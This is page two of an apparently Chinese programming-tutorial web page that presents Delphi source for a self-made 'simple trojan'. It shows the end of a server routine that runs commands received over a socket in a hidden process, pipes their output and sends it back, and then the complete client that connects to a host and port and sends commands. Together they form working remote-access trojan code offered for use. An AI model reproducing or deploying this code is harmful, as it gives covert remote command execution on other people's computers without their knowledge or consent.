编程资料集中营
Delphi下“培养”自己的简单木马
您现在的位置: 编程资料,学习资料,c,c++,vc,vc++,java,jsp,j2ee,j2me,asp,php >> 文章中心 >> delphi >> 文章正文
【字体:
作者:佚名    文章来源:不详    点击数:    更新时间:2007-11-28    

Delphi下“培养”自己的简单木马

wWindow:=SW_HIDE;
  si.hStdOutput:=hWritePipe;
  StrPCopy(fname,remotecmd);
  /////执行CMD命令////
  if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
  begin
    socket.SendText('不能创建进程');
    FreeMem(ph);
    FreeMem(fname);
    Exit;
  end;
  while(true)  do
  begin
  if  not  PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil)  then  break;
  if  cchReadBuffer<>0  then
  begin
  if  ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false  then  break;
    ph[cchReadbuffer]:=chr(0);
    Memo1.Lines.Add(ph);
  end
  else
  if(WaitForSingleObject(pi.hProcess  ,0)=WAIT_OBJECT_0)  then  break;
    Sleep(100);
  end;
  ph[cchReadBuffer]:=chr(0);
  Memo1.Lines.Add(ph);    //memo接收回显
  CloseHandle(hReadPipe);
  CloseHandle(pi.hThread);
  CloseHandle(pi.hProcess);
  CloseHandle(hWritePipe);
  FreeMem(ph);
  FreeMem(fname);
  socket.SendText(Memo1.Text);  ///将回显发送回客户端
end;

end.

///////////////////////////////////////////////////////////////////////////////////////////

//////客户端/////////////////////

unit UtMain;

////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
////////////////////////////////

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,
  IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;

type
  TFmMain = class(TForm)
    WebBrowser1: TWebBrowser;
    Label3: TLabel;
    Edit2: TEdit;
    Label4: TLabel;
    Edit3: TEdit;
    Button2: TButton;
    CS: TClientSocket;
    Edit4: TEdit;
    Label5: TLabel;
    Memo1: TMemo;
    BitBtn2: TBitBtn;
    procedure Button2Click(Sender: TObject);
    procedure CSRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure BitBtn2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FmMain: TFmMain;

implementation

{$R *.dfm}

procedure TFmMain.Button2Click(Sender: TObject);
begin
  CS.Host:=Edit2.Text;
  CS.Port:=StrToInt(Edit3.Text);
  CS.Open;
end;

procedure TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket);
begin
  Memo1.Clear;
  Memo1.Lines.Add(Socket.ReceiveText);
  Memo1.Lines.Add('');
end;

procedure TFmMain.BitBtn2Click(Sender: TObject);
begin
  CS.Socket.SendText(edit4.Text);
end;

end.

 

 

上一页  [1] [2] 

   

进入问吧

本站地址:http://www.bajiao123.com

文章录入:admin    责任编辑:admin 
相关文章
    没有相关文章
  • 没有热点文章
  • 高级搜索
    编程资料集中营